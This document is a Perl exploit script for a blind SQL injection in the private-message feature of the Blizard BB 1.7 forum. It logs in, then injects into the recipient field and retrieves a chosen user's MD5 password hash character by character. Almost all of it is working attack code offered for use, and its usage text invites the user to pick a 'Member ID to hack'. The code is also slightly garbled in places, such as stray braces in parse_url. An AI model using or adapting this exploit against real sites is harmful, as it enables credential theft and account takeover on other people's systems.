#!/usr/bin/perl # ------------------------------------------------------------------------ # [+] Blizard BB 1.7 (privtmsg) MD5 Hash Retrieve (blind sql injection) # ------------------------------------------------------------------------ # [*] Discovered by Juri Gianni - Turin,Italy # [*] staker - staker[at]hotmail[dot]it / shrod9[at]gmail[dot]com # [*] Discovered on 28/02/2017 # [*] Site Vendor: http://sourceforge.net/projects/blizard/ # [*] Category: WebApp # [*] BUG: Blind SQL Injection # -------------------------------------------------------------------------- # [-] File privmsg.php # # function new_send($pref, $username, $sel_smiles, $data, $newgo){ # $destinatario=stripslashes($_POST['destinatario']); # # $checkif = mysql_query("SELECT * FROM ".$pref."_users WHERE username = '$destinatario'"); # # $title=stripslashes($_POST['title']); # $message=stripslashes($_POST['message']); # # if (empty($title)){ # $title="No Title"; # } # # if (((!empty($message)) and (mysql_num_rows($checkif) > 0))){ # mysql_query("INSERT INTO ".$pref."_private_messages VALUES ('', '$username', '$destinatario', '$title', '$message', '$data', '0');"); <-- bad query # # echo "<div class='success'>"._PRIVMSG_SENDER_OK."</div>"; # redirect("privmsg.php", 2); # } else { # echo "<div class='error'>".PRIVMSG_NOEMPTY."</div>"; # } # } # # ---------------------------------------------------------------------------- # WWZ :) #----------------------------------------------------------------------------- use strict; use IO::Socket::INET; my ($host,$username,$password,$uid) = @ARGV; if (@ARGV != 4) { usage(); } my $path = "/blizardbb17/html/"; # Insert a valid path if required. # Change it with your hands my @chars = (48..57, 97..102); my ($i,$ord,$hash) = (1,undef,undef); parse_url($host); my $cookie = login(); syswrite(STDOUT, "[-] Trying to retrieve MD5 Hash: "); for ($i=0;$i<=32;$i++) { foreach $ord (@chars) { if (send_msg(sql($i,$ord)) == 666) { syswrite(STDOUT,chr($ord)); $hash .= chr($ord); last; } if ($i == 2 and not defined $hash) { syswrite(STDOUT,"\n[-] Exploit Failed"); exit; } } } if (length($hash) == 32) { die "\[-]Exploit Successfully"; } else { die "\n[-] Exploit Failed"; } sub sql { my ($i,$j,$sql) = (shift,shift,undef); $sql = "shrod ' AND ASCII(SUBSTRING((SELECT password FROM bz_users WHERE uid=".$uid."),".$i.",1))=".$j."#"; return $sql; } sub parse_url() { $_[0] = $1; } } sub login() { my ($PHPSESSID,$content,$packet); my $data = "username=".$username."&password=".$password."&red_url=".$host.$path."login.php&login=Login"; my $socket = new IO::Socket::INET( PeerAddr => $host, PeerPort => 80, Proto => 'tcp', ) or die $!; $packet .= "POST ".$path."login.php HTTP/1.1\r\n"; $packet .= "Host: ".$host."\r\n"; $packet .= "User-Agent: Lynx (textmode)\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet .= "Content-Length:".length($data)."\r\n"; $packet .= "Connection: close\r\n\r\n"; $packet.= $data; $socket->send($packet); while (<$socket>) { $content .= $_; } if($content =~ /PHPSESSID=(.+?);/) { $PHPSESSID = $1; return $PHPSESSID; } else { die $!; } } sub send_msg() { my ($payload,$content,$packet) = (shift,undef,undef); my $data2 = "title=IZI&destinatario=".$payload."&message=asdasd&newgo=Nuovo+Messaggio"; my $socket = new IO::Socket::INET( PeerAddr => $host, PeerPort => 80, Proto => 'tcp', ) or die $!; $packet .= "POST ".$path."privmsg.php?type=new HTTP/1.1\r\n"; $packet .= "Host: ".$host."\r\n"; $packet .= "User-Agent: Lynx (textmode)\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet .= "Cookie: PHPSESSID=".$cookie."\r\n"; $packet .= "Content-Length:".length($data2)."\r\n"; $packet .= "Connection: close\r\n\r\n"; $packet.= $data2; $socket->send($packet); while (<$socket>) { $content .= $_; } if ($content =~ /Messaggio inviato/) { return 666; } else { return 0; } } sub usage() { print "[*---------------------------------------------------------*]\n". "[* Blizard BB 1.7 (privtmsg) Blind SQL Injection Exploit *]\n". "[*---------------------------------------------------------*]\n". "[* Usage: perl web.pl [host] [username] [password] [uid] *]\n". "[* *]\n". "[* Options: *]\n". "[* [host] insert a valid host *]\n". "[* [username] insert your username *]\n". "[* [password] insert your password *]\n". "[* [uid] Member ID to hack *]\n". "[*---------------------------------------------------------*]\n"; exit; }